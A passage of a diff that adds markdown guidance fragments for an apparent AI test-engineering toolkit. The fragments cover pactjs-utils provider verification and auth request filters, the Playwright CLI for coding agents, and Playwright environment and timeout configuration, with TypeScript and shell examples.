- `pactjs-utils-consumer-helpers.md` — detailed createProviderState, toJsonMap, setJsonContent, and setJsonBody usage
- `pactjs-utils-provider-verifier.md` — detailed buildVerifierOptions and broker configuration
- `pactjs-utils-request-filter.md` — detailed createRequestFilter and auth patterns
- `contract-testing.md` — foundational contract testing patterns (raw Pact.js approach)
- `test-levels-framework.md` — where contract tests fit in the testing pyramid
## Anti-Patterns
### Wrong: Manual VerifierOptions assembly when pactjs-utils is available
```typescript
// ❌ Don't assemble VerifierOptions manually
const opts: VerifierOptions = {
provider: 'my-api',
providerBaseUrl: 'http://localhost:3001',
pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
pactBrokerToken: process.env.PACT_BROKER_TOKEN,
publishVerificationResult: process.env.CI === 'true',
providerVersion: process.env.GIT_SHA || 'dev',
consumerVersionSelectors: [{ mainBranch: true }, { deployedOrReleased: true }],
stateHandlers: {
/* ... */
},
requestFilter: (req, res, next) => {
/* ... */
},
// ... 20 more lines
};
```
### Right: Use buildVerifierOptions
```typescript
// ✅ Single call handles all configuration
const opts = buildVerifierOptions({
provider: 'my-api',
port: '3001',
includeMainAndDeployed: true,
stateHandlers: {
/* ... */
},
requestFilter: createRequestFilter({ tokenGenerator: () => 'token' }),
});
```
### Wrong: Importing raw Pact types for JsonMap conversion
```typescript
// ❌ Manual JsonMap casting
import type { JsonMap } from '@pact-foundation/pact';
provider.given('user exists', { id: 1 as unknown as JsonMap['id'] });
```
### Right: Use createProviderState
```typescript
// ✅ Automatic type conversion
import { createProviderState } from '@seontechnologies/pactjs-utils';
provider.given(...createProviderState({ name: 'user exists', params: { id: 1 } }));
```
_Source: @seontechnologies/pactjs-utils library, pactjs-utils README, pact-js-example-provider workflows_

View File

@@ -0,0 +1,315 @@
# Pact.js Utils Provider Verifier
## Principle
Use `buildVerifierOptions`, `buildMessageVerifierOptions`, `handlePactBrokerUrlAndSelectors`, and `getProviderVersionTags` from `@seontechnologies/pactjs-utils` to assemble complete provider verification configuration in a single call. These utilities handle local/remote flow detection, broker URL resolution, consumer version selector strategy, and CI-aware version tagging. The caller controls breaking change behavior via the required `includeMainAndDeployed` parameter.
## Rationale
### Problems with manual VerifierOptions
- **30+ lines of scattered config**: Assembling `VerifierOptions` manually requires broker URL, token, selectors, state handlers, request filters, version info, publish flags — all in one object
- **Environment variable logic**: Different env vars for local vs remote, CI vs local dev, breaking change vs normal flow
- **Consumer version selector complexity**: Choosing between `mainBranch`, `deployedOrReleased`, `matchingBranch`, and `includeMainAndDeployed` requires understanding Pact Broker semantics
- **Breaking change coordination**: When a provider intentionally breaks a contract, manual selector switching is error-prone
- **Cross-execution protection**: `PACT_PAYLOAD_URL` webhook payloads need special handling to verify only the triggering pact
### Solutions
- **`buildVerifierOptions`**: Single function that reads env vars, selects the right flow, and returns complete `VerifierOptions`
- **`buildMessageVerifierOptions`**: Same as above for message/Kafka provider verification
- **`handlePactBrokerUrlAndSelectors`**: Pure function for broker URL + selector resolution (used internally, also exported for advanced use)
- **`getProviderVersionTags`**: Extracts CI branch/tag info from environment for provider version tagging
## Pattern Examples
### Example 1: HTTP Provider Verification (Remote Flow)
```typescript
import { Verifier } from '@pact-foundation/pact';
import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
import type { StateHandlers } from '@seontechnologies/pactjs-utils';
const stateHandlers: StateHandlers = {
'movie with id 1 exists': {
setup: async (params) => {
await db.seed({ movies: [{ id: params?.id ?? 1, name: 'Inception' }] });
},
teardown: async () => {
await db.clean('movies');
},
},
'no movies exist': async () => {
await db.clean('movies');
},
};
// buildVerifierOptions reads these env vars automatically:
// - PACT_BROKER_BASE_URL (broker URL)
// - PACT_BROKER_TOKEN (broker auth)
// - PACT_PAYLOAD_URL (webhook trigger — cross-execution protection)
// - PACT_BREAKING_CHANGE (if "true", uses includeMainAndDeployed selectors)
// - GITHUB_SHA (provider version)
// - CI (publish verification results if "true")
const opts = buildVerifierOptions({
provider: 'SampleMoviesAPI',
port: '3001',
includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
stateHandlers,
requestFilter: createRequestFilter({
tokenGenerator: () => process.env.TEST_AUTH_TOKEN ?? 'test-token',
}),
});
await new Verifier(opts).verifyProvider();
```
**Key Points**:
- Set `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` as env vars — `buildVerifierOptions` reads them automatically
- `port` is a string (e.g., `'3001'`) — the function builds `providerBaseUrl: http://localhost:${port}` internally
- `includeMainAndDeployed` is **required** — set `true` for normal flow, `false` for breaking changes
- State handlers support both simple functions and `{ setup, teardown }` objects
- `params` in state handlers correspond to the `JsonMap` from consumer's `createProviderState`
- Verification results are published by default (`publishVerificationResult` defaults to `true`)
### Example 2: Local Flow (Monorepo, No Broker)
```typescript
import { Verifier } from '@pact-foundation/pact';
import { buildVerifierOptions } from '@seontechnologies/pactjs-utils';
// When PACT_BROKER_BASE_URL is NOT set, buildVerifierOptions
// falls back to local pact file verification
const opts = buildVerifierOptions({
provider: 'SampleMoviesAPI',
port: '3001',
includeMainAndDeployed: true,
// Specify local pact files directly — skips broker entirely
pactUrls: ['./pacts/movie-web-SampleMoviesAPI.json'],
stateHandlers: {
'movie exists': async (params) => {
await db.seed({ movies: [{ id: params?.id }] });
},
},
});
await new Verifier(opts).verifyProvider();
```
### Example 3: Message Provider Verification (Kafka/Async)
```typescript
import { Verifier } from '@pact-foundation/pact';
import { buildMessageVerifierOptions } from '@seontechnologies/pactjs-utils';
const opts = buildMessageVerifierOptions({
provider: 'OrderEventsProducer',
includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
// Message handlers return the message content that the provider would produce
messageProviders: {
'an order created event': async () => ({
orderId: 'order-123',
userId: 'user-456',
items: [{ productId: 'prod-789', quantity: 2 }],
createdAt: new Date().toISOString(),
}),
'an order cancelled event': async () => ({
orderId: 'order-123',
reason: 'customer_request',
cancelledAt: new Date().toISOString(),
}),
},
stateHandlers: {
'order exists': async (params) => {
await db.seed({ orders: [{ id: params?.orderId }] });
},
},
});
await new Verifier(opts).verifyProvider();
```
**Key Points**:
- `buildMessageVerifierOptions` adds `messageProviders` to the verifier config
- Each message provider function returns the expected message payload
- State handlers work the same as HTTP verification
- Broker integration works identically (same env vars)
### Example 4: Breaking Change Coordination
```typescript
// When a provider intentionally introduces a breaking change:
//
// 1. Set PACT_BREAKING_CHANGE=true in CI environment
// 2. Your test reads the env var and passes includeMainAndDeployed: false
// to buildVerifierOptions — this verifies ONLY against the matching
// branch, skipping main/deployed consumers that would fail
// 3. Coordinate with consumer team to update their pact on a matching branch
// 4. Remove PACT_BREAKING_CHANGE flag after consumer updates
// In CI environment (.github/workflows/provider-verify.yml):
// env:
// PACT_BREAKING_CHANGE: 'true'
// Your provider test code reads the env var:
const isBreakingChange = process.env.PACT_BREAKING_CHANGE === 'true';
const opts = buildVerifierOptions({
provider: 'SampleMoviesAPI',
port: '3001',
includeMainAndDeployed: !isBreakingChange, // false during breaking changes
stateHandlers: {
/* ... */
},
});
// When includeMainAndDeployed is false (breaking change):
// selectors = [{ matchingBranch: true }]
// When includeMainAndDeployed is true (normal):
// selectors = [{ matchingBranch: true }, { mainBranch: true }, { deployedOrReleased: true }]
```
### Example 5: handlePactBrokerUrlAndSelectors (Advanced)
```typescript
import { handlePactBrokerUrlAndSelectors } from '@seontechnologies/pactjs-utils';
import type { VerifierOptions } from '@pact-foundation/pact';
// For advanced use cases — mutates the options object in-place (returns void)
const options: VerifierOptions = {
provider: 'SampleMoviesAPI',
providerBaseUrl: 'http://localhost:3001',
};
handlePactBrokerUrlAndSelectors({
pactPayloadUrl: process.env.PACT_PAYLOAD_URL,
pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
consumer: undefined, // or specific consumer name
includeMainAndDeployed: true,
options, // mutated in-place: sets pactBrokerUrl, consumerVersionSelectors, or pactUrls
});
// After call, options has been mutated with:
// - options.pactBrokerUrl (from pactBrokerUrl param)
// - options.consumerVersionSelectors (based on includeMainAndDeployed)
// OR if pactPayloadUrl matches: options.pactUrls = [pactPayloadUrl]
```
**Note**: `handlePactBrokerUrlAndSelectors` is called internally by `buildVerifierOptions`. You rarely need it directly — use it only for advanced custom verifier assembly.
### Example 6: getProviderVersionTags
```typescript
import { getProviderVersionTags } from '@seontechnologies/pactjs-utils';
// Extracts version tags from CI environment
const tags = getProviderVersionTags();
// In GitHub Actions on branch "feature/add-movies" (non-breaking):
// tags = ['dev', 'feature/add-movies']
//
// In GitHub Actions on main branch (non-breaking):
// tags = ['dev', 'main']
//
// In GitHub Actions with PACT_BREAKING_CHANGE=true:
// tags = ['feature/add-movies'] (no 'dev' tag)
//
// Locally (no CI):
// tags = ['local']
```
## Environment Variables Reference
| Variable | Required | Description | Default |
| ---------------------- | --------------- | ------------------------------------------------------------------------------------------------------------------------------------- | ----------- |
| `PACT_BROKER_BASE_URL` | For remote flow | Pact Broker / PactFlow URL | — |
| `PACT_BROKER_TOKEN` | For remote flow | API token for broker authentication | — |
| `GITHUB_SHA` | Recommended | Provider version for verification result publishing (auto-set by GitHub Actions) | `'unknown'` |
| `GITHUB_BRANCH` | Recommended | Branch name for provider version branch and version tags (**not auto-set** — define as `${{ github.head_ref \|\| github.ref_name }}`) | `'main'` |
| `PACT_PAYLOAD_URL` | Optional | Webhook payload URL — triggers verification of specific pact only | — |
| `PACT_BREAKING_CHANGE` | Optional | Set to `"true"` to use breaking change selector strategy | `'false'` |
| `CI` | Auto-detected | When `"true"`, enables verification result publishing | — |
## Key Points
- **Flow auto-detection**: If `PACT_BROKER_BASE_URL` is set → remote flow; otherwise → local flow (requires `pactUrls`)
- **`port` is a string**: Pass port number as string (e.g., `'3001'`); function builds `http://localhost:${port}` internally
- **`includeMainAndDeployed` is required**: `true` = verify matchingBranch + mainBranch + deployedOrReleased; `false` = verify matchingBranch only (for breaking changes)
- **Selector strategy**: Normal flow (`includeMainAndDeployed: true`) includes all selectors; breaking change flow (`false`) includes only `matchingBranch`
- **Webhook support**: `PACT_PAYLOAD_URL` takes precedence — verifies only the specific pact that triggered the webhook
- **State handler types**: Both `async (params) => void` and `{ setup: async (params) => void, teardown: async () => void }` are supported
- **Version publishing**: Verification results are published by default (`publishVerificationResult` defaults to `true`)
## Related Fragments
- `pactjs-utils-overview.md` — installation, decision tree, design philosophy
- `pactjs-utils-consumer-helpers.md` — consumer-side state parameter creation
- `pactjs-utils-request-filter.md` — auth injection for provider verification
- `contract-testing.md` — foundational patterns with raw Pact.js
## Anti-Patterns
### Wrong: Manual broker URL and selector assembly
```typescript
// ❌ Manual environment variable handling
const opts: VerifierOptions = {
provider: 'my-api',
providerBaseUrl: 'http://localhost:3001',
pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
pactBrokerToken: process.env.PACT_BROKER_TOKEN,
publishVerificationResult: process.env.CI === 'true',
providerVersion: process.env.GIT_SHA || process.env.GITHUB_SHA || 'dev',
providerVersionBranch: process.env.GITHUB_HEAD_REF || process.env.GITHUB_REF_NAME,
consumerVersionSelectors:
process.env.PACT_BREAKING_CHANGE === 'true'
? [{ matchingBranch: true }]
: [{ matchingBranch: true }, { mainBranch: true }, { deployedOrReleased: true }],
pactUrls: process.env.PACT_PAYLOAD_URL ? [process.env.PACT_PAYLOAD_URL] : undefined,
stateHandlers: {
/* ... */
},
requestFilter: (req, res, next) => {
req.headers['authorization'] = `Bearer ${process.env.TEST_TOKEN}`;
next();
},
};
```
### Right: Use buildVerifierOptions
```typescript
// ✅ All env var logic handled internally
const opts = buildVerifierOptions({
provider: 'my-api',
port: '3001',
includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
stateHandlers: {
/* ... */
},
requestFilter: createRequestFilter({
tokenGenerator: () => process.env.TEST_TOKEN ?? 'test-token',
}),
});
```
### Wrong: Hardcoding consumer version selectors
```typescript
// ❌ Hardcoded selectors — breaks when flow changes
consumerVersionSelectors: [{ mainBranch: true }, { deployedOrReleased: true }],
```
### Right: Let buildVerifierOptions choose selectors
```typescript
// ✅ Selector strategy adapts to PACT_BREAKING_CHANGE env var
const opts = buildVerifierOptions({
/* ... */
});
// Selectors chosen automatically based on environment
```
_Source: @seontechnologies/pactjs-utils provider-verifier module, pact-js-example-provider CI workflows_

View File

@@ -0,0 +1,224 @@
# Pact.js Utils Request Filter
## Principle
Use `createRequestFilter` and `noOpRequestFilter` from `@seontechnologies/pactjs-utils` to inject authentication headers during provider verification. The pluggable token generator pattern prevents double-Bearer bugs and separates auth concerns from verification logic.
## Rationale
### Problems with manual request filters
- **Express type gymnastics**: Pact's `requestFilter` expects `(req, res, next) => void` with Express-compatible types — but Pact doesn't re-export these types
- **Double-Bearer bug**: Easy to write `Authorization: Bearer Bearer ${token}` when the token generator already includes the prefix
- **Inline complexity**: Auth logic mixed with verifier config makes tests harder to read
- **No-op boilerplate**: Providers without auth still need a pass-through function or `undefined`
### Solutions
- **`createRequestFilter`**: Accepts `{ tokenGenerator: () => string }` — generator returns raw token value synchronously, filter adds `Bearer ` prefix
- **`noOpRequestFilter`**: Pre-built pass-through for providers without auth requirements
- **Bearer prefix contract**: `tokenGenerator` returns raw value (e.g., `"abc123"`), filter always adds `"Bearer "` — impossible to double-prefix
## Pattern Examples
### Example 1: Basic Auth Injection
```typescript
import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
const opts = buildVerifierOptions({
provider: 'SampleMoviesAPI',
port: '3001',
includeMainAndDeployed: true,
stateHandlers: {
/* ... */
},
requestFilter: createRequestFilter({
// tokenGenerator returns raw token — filter adds "Bearer " prefix
tokenGenerator: () => 'test-auth-token-123',
}),
});
// Every request during verification will have:
// Authorization: Bearer test-auth-token-123
```
**Key Points**:
- `tokenGenerator` is **synchronous** (`() => string`) — if you need async token fetching, resolve the token before creating the filter
- Return the raw token value, NOT `"Bearer ..."` — the filter adds the prefix
- Filter sets `Authorization` header on every request during verification
### Example 2: Dynamic Token (Pre-resolved)
```typescript
import { createRequestFilter } from '@seontechnologies/pactjs-utils';
// Since tokenGenerator is synchronous, fetch the token before creating the filter
let cachedToken: string;
async function setupRequestFilter() {
const response = await fetch('http://localhost:8080/auth/token', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
clientId: process.env.TEST_CLIENT_ID,
clientSecret: process.env.TEST_CLIENT_SECRET,
}),
});
const { access_token } = await response.json();
cachedToken = access_token;
}
const requestFilter = createRequestFilter({
tokenGenerator: () => cachedToken, // Synchronous — returns pre-fetched token
});
const opts = buildVerifierOptions({
provider: 'SecureAPI',
port: '3001',
includeMainAndDeployed: true,
stateHandlers: {
/* ... */
},
requestFilter,
});
```
### Example 3: No-Auth Provider
```typescript
import { buildVerifierOptions, noOpRequestFilter } from '@seontechnologies/pactjs-utils';
// For providers that don't require authentication
const opts = buildVerifierOptions({
provider: 'PublicAPI',
port: '3001',
includeMainAndDeployed: true,
stateHandlers: {
/* ... */
},
requestFilter: noOpRequestFilter,
});
// noOpRequestFilter is equivalent to: (req, res, next) => next()
```
### Example 4: Integration with buildVerifierOptions
```typescript
import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
import type { StateHandlers } from '@seontechnologies/pactjs-utils';
// Complete provider verification setup
const stateHandlers: StateHandlers = {
'user is authenticated': async () => {
// Auth state is handled by the request filter, not state handler
},
'movie exists': {
setup: async (params) => {
await db.seed({ movies: [{ id: params?.id }] });
},
teardown: async () => {
await db.clean('movies');
},
},
};
const requestFilter = createRequestFilter({
tokenGenerator: () => process.env.TEST_AUTH_TOKEN ?? 'fallback-token',
});
const opts = buildVerifierOptions({
provider: 'SampleMoviesAPI',
port: process.env.PORT ?? '3001',
includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
stateHandlers,
requestFilter,
});
// Run verification
await new Verifier(opts).verifyProvider();
```
## Key Points
- **Bearer prefix contract**: `tokenGenerator` returns raw value → filter adds `"Bearer "` → impossible to double-prefix
- **Synchronous only**: `tokenGenerator` must return `string` (not `Promise<string>`) — pre-resolve async tokens before creating the filter
- **Separation of concerns**: Auth logic in `createRequestFilter`, verification logic in `buildVerifierOptions`
- **noOpRequestFilter**: Use for providers without auth — cleaner than `undefined` or inline no-op
- **Express compatible**: The returned filter matches Pact's expected `(req, res, next) => void` signature
## Related Fragments
- `pactjs-utils-overview.md` — installation, utility table, decision tree
- `pactjs-utils-provider-verifier.md` — buildVerifierOptions integration
- `contract-testing.md` — foundational patterns with raw Pact.js
## Anti-Patterns
### Wrong: Manual Bearer prefix with double-prefix risk
```typescript
// ❌ Risk of double-prefix: "Bearer Bearer token"
requestFilter: (req, res, next) => {
const token = getToken(); // What if getToken() returns "Bearer abc123"?
req.headers['authorization'] = `Bearer ${token}`;
next();
};
```
### Right: Use createRequestFilter with raw token
```typescript
// ✅ tokenGenerator returns raw value — filter handles prefix
requestFilter: createRequestFilter({
tokenGenerator: () => getToken(), // Returns "abc123", not "Bearer abc123"
});
```
### Wrong: Inline auth logic in verifier config
```typescript
// ❌ Auth logic mixed with verifier config
const opts: VerifierOptions = {
provider: 'my-api',
providerBaseUrl: 'http://localhost:3001',
requestFilter: (req, res, next) => {
const clientId = process.env.CLIENT_ID;
const clientSecret = process.env.CLIENT_SECRET;
// 10 lines of token fetching logic...
req.headers['authorization'] = `Bearer ${token}`;
next();
},
// ... rest of config
};
```
### Right: Separate auth into createRequestFilter
```typescript
// ✅ Clean separation — async setup wraps token fetch (CommonJS-safe)
async function setupVerifierOptions() {
const token = await fetchAuthToken(); // Resolve async token BEFORE creating filter
const requestFilter = createRequestFilter({
tokenGenerator: () => token, // Synchronous — returns pre-fetched value
});
return buildVerifierOptions({
provider: 'my-api',
port: '3001',
includeMainAndDeployed: true,
requestFilter,
stateHandlers: {
/* ... */
},
});
}
// In tests/hooks, callers can await setupVerifierOptions():
// const opts = await setupVerifierOptions();
```
_Source: @seontechnologies/pactjs-utils request-filter module, pact-js-example-provider verification tests_

View File

@@ -0,0 +1,165 @@
# Playwright CLI — Browser Automation for Coding Agents
## Principle
When an AI agent needs to look at a webpage — take a snapshot, grab selectors, capture a screenshot — it shouldn't have to load thousands of tokens of DOM trees and tool schemas into its context window just to do that. Playwright CLI gives the agent a lightweight way to talk to a browser through simple shell commands, keeping the context window free for reasoning and code generation.
## Rationale
Playwright MCP is powerful, but it's heavy. Every interaction loads full accessibility trees and tool definitions into the LLM context. That's fine for complex, stateful flows where you need rich introspection. But for the common case — "open this page, tell me what's on it, take a screenshot" — it's overkill.
Playwright CLI solves this by returning concise **element references** (`e15`, `e21`) instead of full DOM dumps. The result: ~93% fewer tokens per interaction, which means the agent can run longer sessions, reason more deeply, and still have context left for your actual code.
**The trade-off is simple:**
- **CLI** = fast, lightweight, stateless — great for quick looks at pages
- **MCP** = rich, stateful, full-featured — great for complex multi-step automation
TEA uses both where each shines (see `tea_browser_automation: "auto"`).
## Prerequisites
```bash
npm install -g @playwright/cli@latest # Install globally (Node.js 18+)
playwright-cli install --skills # Register as an agent skill
```
The global npm install is one-time. Run `playwright-cli install --skills` from your project root to register skills in `.claude/skills/` (works with Claude Code, GitHub Copilot, and other coding agents). Agents without skills support can use the CLI directly via `playwright-cli --help`. TEA documents this during installation but does not run it for you.
## How It Works
The agent interacts with the browser through shell commands. Each command is a single, focused action:
```bash
# 1. Open a page
playwright-cli -s=tea-explore open https://app.com/login
# 2. Take a snapshot — returns element references, not DOM trees
playwright-cli -s=tea-explore snapshot
# Output: [{ref: "e15", role: "textbox", name: "Email"},
# {ref: "e21", role: "textbox", name: "Password"},
# {ref: "e33", role: "button", name: "Sign In"}]
# 3. Interact using those references
playwright-cli -s=tea-explore fill e15 "user@example.com"
playwright-cli -s=tea-explore fill e21 "password123"
playwright-cli -s=tea-explore click e33
# 4. Capture evidence
playwright-cli -s=tea-explore screenshot --filename=login-flow.png
# 5. Clean up
playwright-cli -s=tea-explore close
```
The `-s=tea-explore` flag scopes everything to a named session, preventing state leakage between workflows.
## What TEA Uses It For
**Selector verification** — Before generating test code, TEA can snapshot a page to see the actual labels, roles, and names of elements. Instead of guessing that a button says "Login", it knows it says "Sign In":
```
snapshot ref {role: "button", name: "Sign In"}
→ generates: page.getByRole('button', { name: 'Sign In' })
```
**Page discovery** — During `test-design` exploratory mode, TEA snapshots pages to understand what's actually there, rather than relying only on documentation.
**Evidence collection** — During `test-review`, TEA can capture screenshots, traces, and network logs as evidence without the overhead of a full MCP session.
## How CLI Relates to Playwright Utils and API Testing
CLI and playwright-utils are **complementary tools that work at different layers**:
| | Playwright CLI | Playwright Utils |
| ------------ | -------------------------------------------- | ------------------------------------------------ |
| **When** | During test _generation_ (the agent uses it) | During test _execution_ (your test code uses it) |
| **What** | Shell commands to observe your app | Fixtures and helpers imported in test files |
| **Examples** | `snapshot`, `screenshot`, `network` | `apiRequest`, `auth-session`, `network-recorder` |
They work together naturally. The agent uses CLI to _understand_ your app, then generates test code that _imports_ playwright-utils:
```bash
# Agent uses CLI to observe network traffic on the dashboard page
playwright-cli -s=tea-discover open https://app.com/dashboard
playwright-cli -s=tea-discover network
# Output: GET /api/users → 200, POST /api/audit → 201, GET /api/settings → 200
playwright-cli -s=tea-discover close
```
```typescript
// Agent generates API tests using what it discovered, with playwright-utils
import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
test('GET /api/users returns user list', async ({ apiRequest }) => {
const { status, body } = await apiRequest<User[]>({
method: 'GET',
path: '/api/users',
});
expect(status).toBe(200);
expect(body.length).toBeGreaterThan(0);
});
```
**For pure API testing** (no UI involved), CLI doesn't add much — there's no page to snapshot. The agent generates API tests directly from documentation, specs, or code analysis using `apiRequest` and `recurse` from playwright-utils.
**For E2E testing**, CLI shines — it snapshots the page to get accurate selectors, observes network calls to understand the API contract, and captures auth flows via `state-save` that inform how tests use `auth-session`.
**Bottom line:** CLI helps the agent _write better tests_. Playwright-utils helps those tests _run reliably_.
## Session Isolation
Every CLI command targets a named session. This prevents workflows from interfering with each other:
```bash
# Workflow A uses one session
playwright-cli -s=tea-explore open https://app.com
# Workflow B uses a different session (can run in parallel)
playwright-cli -s=tea-verify open https://app.com/admin
```
For parallel safety (multiple agents on the same machine), append a unique suffix:
```bash
playwright-cli -s=tea-explore-<timestamp> open https://app.com
```
## Command Quick Reference
| What you want to do | Command |
| ------------------------- | ------------------------------------------------ |
| Open a page | `open <url>` |
| See what's on the page | `snapshot` |
| Take a screenshot | `screenshot [--filename=path]` |
| Click something | `click <ref>` |
| Type into a field | `fill <ref> <text>` |
| Navigate | `goto <url>`, `go-back`, `reload` |
| Mock a network request | `route <pattern> --status=200 --body='...'` |
| Start recording a trace | `tracing-start` |
| Stop and save the trace | `tracing-stop` |
| Save auth state for reuse | `state-save auth.json` |
| Load saved auth state | `state-load auth.json` |
| See network requests | `network` |
| Manage tabs | `tab-list`, `tab-new`, `tab-close`, `tab-select` |
| Close the session | `close` |
## When CLI vs MCP (Auto Mode Decision)
| Situation | Tool | Why |
| ------------------------------------- | ---- | ---------------------------------- |
| "What's on this page?" | CLI | One-shot snapshot, no state needed |
| "Verify this selector exists" | CLI | Single check, minimal tokens |
| "Capture a screenshot for evidence" | CLI | Stateless capture |
| "Walk through a multi-step wizard" | MCP | State carries across steps |
| "Debug why this test fails" (healing) | MCP | Needs rich DOM introspection |
| "Record a drag-and-drop flow" | MCP | Complex interaction semantics |
## Related Fragments
- `overview.md` — Playwright Utils installation and fixture patterns (the test code layer that CLI complements)
- `api-request.md` — Typed HTTP client for API tests (CLI discovers endpoints, apiRequest tests them)
- `api-testing-patterns.md` — Pure API test patterns (when CLI isn't needed)
- `auth-session.md` — Token management (CLI `state-save` informs auth-session usage)
- `selector-resilience.md` — Robust selector strategies (CLI verifies them against real DOM)
- `visual-debugging.md` — Trace viewer usage (CLI captures traces)

View File

@@ -0,0 +1,730 @@
# Playwright Configuration Guardrails
## Principle
Load environment configs via a central map (`envConfigMap`), standardize timeouts (action 15s, navigation 30s, expect 10s, test 60s), emit HTML + JUnit reporters, and store artifacts under `test-results/` for CI upload. Keep `.env.example`, `.nvmrc`, and browser dependencies versioned so local and CI runs stay aligned.
## Rationale
Environment-specific configuration prevents hardcoded URLs, timeouts, and credentials from leaking into tests. A central config map with fail-fast validation catches missing environments early. Standardized timeouts reduce flakiness while remaining long enough for real-world network conditions. Consistent artifact storage (`test-results/`, `playwright-report/`) enables CI pipelines to upload failure evidence automatically. Versioned dependencies (`.nvmrc`, `package.json` browser versions) eliminate "works on my machine" issues between local and CI environments.
## Pattern Examples
### Example 1: Environment-Based Configuration
**Context**: When testing against multiple environments (local, staging, production), use a central config map that loads environment-specific settings and fails fast if `TEST_ENV` is invalid.
**Implementation**:
```typescript
// playwright.config.ts - Central config loader
import { config as dotenvConfig } from 'dotenv';
import path from 'path';
// Load .env from project root
dotenvConfig({
path: path.resolve(__dirname, '../../.env'),
});
// Central environment config map
const envConfigMap = {
local: require('./playwright/config/local.config').default,
staging: require('./playwright/config/staging.config').default,
production: require('./playwright/config/production.config').default,
};
const environment = process.env.TEST_ENV || 'local';
// Fail fast if environment not supported
if (!Object.keys(envConfigMap).includes(environment)) {
console.error(`❌ No configuration found for environment: ${environment}`);
console.error(` Available environments: ${Object.keys(envConfigMap).join(', ')}`);
process.exit(1);
}
console.log(`✅ Running tests against: ${environment.toUpperCase()}`);
export default envConfigMap[environment as keyof typeof envConfigMap];
```
```typescript
// playwright/config/base.config.ts - Shared base configuration
import { defineConfig } from '@playwright/test';
import path from 'path';
export const baseConfig = defineConfig({
testDir: path.resolve(__dirname, '../tests'),
outputDir: path.resolve(__dirname, '../../test-results'),
fullyParallel: true,
forbidOnly: !!process.env.CI,
retries: process.env.CI ? 2 : 0,
workers: process.env.CI ? 1 : undefined,
reporter: [
['html', { outputFolder: 'playwright-report', open: 'never' }],
['junit', { outputFile: 'test-results/results.xml' }],
['list'],
],
use: {
actionTimeout: 15000,
navigationTimeout: 30000,
trace: 'on-first-retry',
screenshot: 'only-on-failure',
video: 'retain-on-failure',
},
globalSetup: path.resolve(__dirname, '../support/global-setup.ts'),
timeout: 60000,
expect: { timeout: 10000 },
});
```
```typescript
// playwright/config/local.config.ts - Local environment
import { defineConfig } from '@playwright/test';
import { baseConfig } from './base.config';
export default defineConfig({
...baseConfig,
use: {
...baseConfig.use,
baseURL: 'http://localhost:3000',
video: 'off', // No video locally for speed
},
webServer: {
command: 'npm run dev',
url: 'http://localhost:3000',
reuseExistingServer: !process.env.CI,
timeout: 120000,
},
});
```
```typescript
// playwright/config/staging.config.ts - Staging environment
import { defineConfig } from '@playwright/test';
import { baseConfig } from './base.config';
export default defineConfig({
...baseConfig,
use: {
...baseConfig.use,
baseURL: 'https://staging.example.com',
ignoreHTTPSErrors: true, // Allow self-signed certs in staging
},
});
```
```typescript
// playwright/config/production.config.ts - Production environment
import { defineConfig } from '@playwright/test';
import { baseConfig } from './base.config';
export default defineConfig({
...baseConfig,
retries: 3, // More retries in production
use: {
...baseConfig.use,
baseURL: 'https://example.com',
video: 'on', // Always record production failures
},
});
```
```bash
# .env.example - Template for developers
TEST_ENV=local
API_KEY=your_api_key_here
DATABASE_URL=postgresql://localhost:5432/test_db
```
**Key Points**:
- Central `envConfigMap` prevents environment misconfiguration
- Fail-fast validation with clear error message (available envs listed)
- Base config defines shared settings, environment configs override
- `.env.example` provides template for required secrets
- `TEST_ENV=local` as default for local development
- Production config increases retries and enables video recording
### Example 2: Timeout Standards
**Context**: When tests fail due to inconsistent timeout settings, standardize timeouts across all tests: action 15s, navigation 30s, expect 10s, test 60s. Expose overrides through fixtures rather than inline literals.
**Implementation**:
```typescript
// playwright/config/base.config.ts - Standardized timeouts
import { defineConfig } from '@playwright/test';
export default defineConfig({
// Global test timeout: 60 seconds
timeout: 60000,
use: {
// Action timeout: 15 seconds (click, fill, etc.)
actionTimeout: 15000,
// Navigation timeout: 30 seconds (page.goto, page.reload)
navigationTimeout: 30000,
},
// Expect timeout: 10 seconds (all assertions)
expect: {
timeout: 10000,
},
});
```
```typescript
// playwright/support/fixtures/timeout-fixture.ts - Timeout override fixture
import { test as base } from '@playwright/test';
type TimeoutOptions = {
extendedTimeout: (timeoutMs: number) => Promise<void>;
};
export const test = base.extend<TimeoutOptions>({
extendedTimeout: async ({}, use, testInfo) => {
const originalTimeout = testInfo.timeout;
await use(async (timeoutMs: number) => {
testInfo.setTimeout(timeoutMs);
});
// Restore original timeout after test
testInfo.setTimeout(originalTimeout);
},
});
export { expect } from '@playwright/test';
```
```typescript
// Usage in tests - Standard timeouts (implicit)
import { test, expect } from '@playwright/test';
test('user can log in', async ({ page }) => {
await page.goto('/login'); // Uses 30s navigation timeout
await page.fill('[data-testid="email"]', 'test@example.com'); // Uses 15s action timeout
await page.click('[data-testid="login-button"]'); // Uses 15s action timeout
await expect(page.getByText('Welcome')).toBeVisible(); // Uses 10s expect timeout
});
```
```typescript
// Usage in tests - Per-test timeout override
import { test, expect } from '../support/fixtures/timeout-fixture';
test('slow data processing operation', async ({ page, extendedTimeout }) => {
// Override default 60s timeout for this slow test
await extendedTimeout(180000); // 3 minutes
await page.goto('/data-processing');
await page.click('[data-testid="process-large-file"]');
// Wait for long-running operation
await expect(page.getByText('Processing complete')).toBeVisible({
timeout: 120000, // 2 minutes for assertion
});
});
```
```typescript
// Per-assertion timeout override (inline)
test('API returns quickly', async ({ page }) => {
await page.goto('/dashboard');
// Override expect timeout for fast API (reduce flakiness detection)
await expect(page.getByTestId('user-name')).toBeVisible({ timeout: 5000 }); // 5s instead of 10s
// Override expect timeout for slow external API
await expect(page.getByTestId('weather-widget')).toBeVisible({ timeout: 20000 }); // 20s instead of 10s
});
```
**Key Points**:
